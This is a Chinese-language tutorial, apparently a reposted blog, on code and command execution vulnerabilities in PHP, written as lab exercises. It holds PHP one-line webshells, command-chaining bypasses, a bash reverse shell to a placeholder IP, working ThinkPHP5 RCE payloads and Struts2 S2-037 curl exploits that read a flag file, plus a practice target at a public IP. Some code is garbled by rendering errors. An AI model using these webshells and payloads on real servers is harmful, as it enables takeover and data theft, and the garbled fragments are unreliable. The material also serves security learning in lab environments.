rce-框架漏洞
2026/5/30 14:56:19 网站建设 项目流程

一、代码执行

1.什么是代码执行漏洞?
对于代码执行,我们先了解清楚什么是代码执行漏洞:代码执行顾名思义就是将用户输入的内容作为脚本代码进行执行的一类漏洞,此类漏洞影响很大,在权限较大的情况下可以直接接管服务器。
通俗来讲的意思就是:在正常的网站逻辑中,用户输入的内容应该就是将‘数据’(例如用户名、密码等),但是在代码执行漏洞中,用户输入的内容被当成了编程语言代码(python java php语言)直接运行,相当于攻击者直接在服务器上写代码、执行命令,能直接控制服务器。
2. 代码执行漏洞的底层原理:
应用程序在调用一些能够将字符串转换为代码的函数(如 PHP 中的 eval)时,没有考虑用户是否控制这个字符串,从而将用户输入的字符串直接转化为代码进行执行所导致的漏洞。
这类漏洞很难通过黑盒查找,大部分都是根据源代码判断代码执行漏洞。
简单来说就是:
(1)**存在 “字符串转代码” 的危险函数:**比如 PHP 的eval()、Python 的exec()、Java 的Runtime.exec()等,这些函数的作用就是把传入的字符串当成代码执行。
(2):**用户可控输入直接传入危险函数:**开发者没有对用户输入做任何过滤 / 限制,攻击者可以完全控制传入危险函数的内容。
(3):**没有安全过滤 / 权限限制:**比如没有禁用危险字符、没有限制函数权限,导致攻击者输入的恶意代码能成功执行。

为什么黑盒难以发现:我们知道黑盒测试只能通过输入数据看返回结果,而代码执行漏洞的触发往往需要构造特殊的代码语句,且很多时候没有直观的回显(比如无回显的代码执行),所以必须结合白盒审计(看源代码) 才能精准定位漏洞点。
3.PHP 中常见的代码执行危险函数:

函数说明版本限制
eval()把字符串作为 PHP 代码执行,最经典的危险函数PHP 4/5/7/8 均支持
assert()断言函数,传入字符串时会当作 PHP 代码执行PHP 5/7(PHP 7.2 后废弃字符串参数)
preg_replace() + /e修饰符正则替换时,用/e模式会把替换后的字符串当作代码执行仅 PHP < 5.5.0 支持,PHP 5.5 + 移除了/e模式
call_user_func()/call_user_func_array()回调函数,第一个参数为用户可控的函数名,第二个为参数全版本支持
create_function()创建匿名函数,第二个参数为用户可控代码时会执行PHP 4/5/7.0(PHP 7.2 + 废弃)
array_map()/array_filter()等数组回调函数第一个参数为用户可控的回调函数名版本支持

正则替换:

// 目标:把句子里的 "test" 换成 "成功"echopreg_replace('/test/','成功','这是一个test字符串');

输出结果:这是一个成功字符串
/test/ = 正则规则(找 test)
成功 = 替换内容
最后那个字符串 = 要处理的文本

4.最简单的代码执行案例:
保存为eval.php,上传到PHP服务器,访问:http://127.0.0.1/eval.php?pass=phpinfo();

<?php@eval($_GET['pass']);?>

从代码角度查看菜刀功能
写入一句话PHP后门:index.php

<?phpeval($_GET['pass']);highlight_file(__FILE__);?>

http://127.0.0.1/index.php?pass=KaTeX parse error: Expected group after '_' at position 20: …pendir(dirname(_̲_FILE__));while…files[]=readdir(d r ) ) ! = = f a l s e ) ; p r i n t r ( dr))!==false);print_r(dr))!==false);printr(files);

代码片段作用
dirname(FILE)获取当前脚本所在的目录路径(__FILE__是当前文件的完整路径,dirname 提取目录部分)
opendir(…)打开指定目录,返回目录句柄(类似打开文件夹的 “把手”)
while((f i l e s [ ] = r e a d d i r ( files[] = readdir(files[]=readdir(dr)) !== false)循环读取目录下的所有文件 / 文件夹,存入数组$files
print_r($files)打印数组内容,回显目录下的所有文件

进行访问url:

浏览器回显:Array ( [0] => . [1] => … [2] => digininja-DVWA-a96943d [3] => dvwa [4] =>…
.:当前目录
…:上级目录
同时也可以使用替代函数:用scandir()简化代码,效果完全一致:

print_r(scandir(dirname(__FILE__)));

也可以换成绝对路径:

print_r(file_get_contents('qax.txt'));// 也可以换成绝对路径,比如 C:\phpStudy\WWW\qax.txt

file_get_contents(‘文件名’):读取指定文件的全部内容,返回字符串。
print_r():把读取到的内容回显到浏览器,让攻击者看到文件内容。
访问:http://127.0.0.1/?pass=print_r(file_get_contents(%27qax.txt%27));

浏览器会回显跟文档中的内容一致

创建/写入文件:

print_r(file_put_contents('qax66.txt','qax66666'));// 也可以换成绝对路径,比如 C:\phpStudy\WWW\qax66.txt

访问:http://127.0.0.1/?pass=print_r(file_put_contents(%27qax66.txt%27,%27qax66666%27));

服务器目录中会生成qax66.txt,打开后内容为qax66666,写入成功。

执行系统命令:

system('whoami');

system(‘系统命令’):执行系统命令,并直接把命令的输出回显到浏览器。
whoami:查看当前服务器运行 PHP 的用户(Windows 下显示admin\administrator,Linux 下显示当前用户名)。
访问:http://127.0.0.1/?pass=system(%27whoami%27);

二、命令执行

1.命令执行漏洞原理:
定义:应用程序调用系统命令执行函数(如 PHP 的system())时,未对用户输入做过滤 / 校验,直接将用户可控的输入作为系统命令执行,导致攻击者可以控制服务器执行任意系统指令。
本质:用户输入被直接解析为操作系统命令,而非编程语言代码。

2.命令执行 vs 代码执行(核心区别):

漏洞类型执行对象示例 Payload场景差异
代码执行漏洞编程语言脚本代码(如 PHP、Python)pass=system(‘whoami’);需要先调用编程语言的系统命令函数,再执行命令
命令执行漏洞操作系统原生命令(如 cmd/bash)pass=whoami直接执行系统命令,无需额外函数包裹

3.PHP 中导致命令执行的危险函数:

函数执行方式输出特点实战场景
system()直接执行系统命令命令执行结果直接回显到浏览器览器 快速查看命令输出(如whoami、dir)
exec()执行系统命令不直接回显,需用echo打印返回结果适合执行后台命令,仅获取返回值
shell_exec()执行系统命令不直接回显,需用echo打印结果支持管道符、重定向等复杂命令
passthru()执行系统命令直接回显,支持二进制输出适合下载文件、执行需要流式输出的命令

实战:
步骤一:创建cmd.php

<?phpsystem($_GET['pass']);highlight_file(__FILE__);?>

步骤二:浏览器访问

命令作用URL 示例
whoami查看当前运行用户http://127.0.0.1/cmd.php?pass=whoami
dir查看当前目录文件http://127.0.0.1/cmd.php?pass=dir
ipconfig查看服务器 IP 信息http://127.0.0.1/cmd.php?pass=ipconfig
echo 123 > test.txt创建文件http://127.0.0.1/cmd.php?pass=echo 123 > test.txt

访问: http://127.0.0.1/cmd.php?pass=echo 123 > test.txt

会在根目录直接创建test.txt,并写入相应内容

拓展:

  1. 命令拼接与绕过
    如果服务器对命令做了部分过滤,可以用这些方式拼接 / 绕过:
    管道符:?pass=whoami|dir(Windows 下同时执行两个命令)
    分号:?pass=whoami;dir(Linux/Windows 下同时执行)
    逻辑与:?pass=whoami&&dir(第一个命令成功后执行第二个)
    逻辑或:?pass=whoami||dir(第一个命令失败后执行第二个)
  2. 无回显命令执行(渗透中常见)
    如果命令执行没有回显,可以用以下方式验证:
    写入文件:?pass=whoami > result.txt,然后访问result.txt查看结果
    反弹 Shell(Linux 环境):?pass=bash -i >& /dev/tcp/你的IP/端口 0>&1

三、常见框架漏洞

1. 漏洞核心信息
**漏洞名称:**ThinkPHP5 远程代码执行漏洞
**影响版本:**ThinkPHP 5.0.22 ~ 5.1.29
漏洞成因:框架未正确处理控制器名,在未开启强制路由(默认配置)的情况下,攻击者可通过 URL 传入任意控制器 / 方法,最终调用call_user_func_array执行任意系统命令。

2. 漏洞原理拆解
ThinkPHP 默认路由规则为 index.php?s=控制器/方法/参数,当攻击者构造特殊的控制器路径时,可直接调用框架内置的\think\app\invokefunction方法,该方法支持传入function和vars参数,最终通过call_user_func_array执行任意函数(如system)。

3.实战POC与利用
(1)GET 请求直接利用(浏览器访问)

http://目标IP:端口/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

(2)POST 请求 POC(适用于部分过滤场景)

POST /index.php?s=captcha HTTP/1.1 Host: 目标IP Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

原理:通过_method伪造请求方法为__construct,绕过框架路由过滤,触发代码执行。

(3)批量检测工具使用

# 检测单个目标python3 tp5poc.py-uhttp://目标IP:端口# 批量检测多个目标python3 tp5poc.py-ftarget.txt

(4)使用 Vulhub 一键搭建测试环境:

gitclone https://github.com/vulhub/vulhub.gitcdvulhub/thinkphp/5.0.23-rcedocker-composeup-d

问http://目标IP:8080即可测试漏洞。

四、实战练习

Apache Struts2远程代码执行漏洞(S2-037)复现
题目:IP地址 : 182.44.114.36 端口 : 8080 协议 : http http://182.44.114.36:44328 (tcp) -> 8080

其他 :

步骤一:安装Docker Desktop 并启动服务
步骤二:进入 S2-037 漏洞目录
打开 CMD,进入 Vulhub 目录下的漏洞环境文件夹:
C:\Users\31825\Downloads\vulhub-master\struts2\s2-037
步骤三:一键启动漏洞容器

docker-composeup-d

步骤四:执行系统命令验证漏洞
使用 curl 工具发送恶意请求,执行 id 命令:
curl “http://127.0.0.1:8080/?redirect:%25%7B%23context%255B%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%255D.addHeader(‘cmd’,new java.lang.String(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())))}”
步骤五:读取本地 Flag 文件
curl “http://127.0.0.1:8080/?redirect:%25%7B%23context%255B%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%255D.addHeader(‘flag’,new java.lang.String(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘cat /flag’).getInputStream())))}”

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询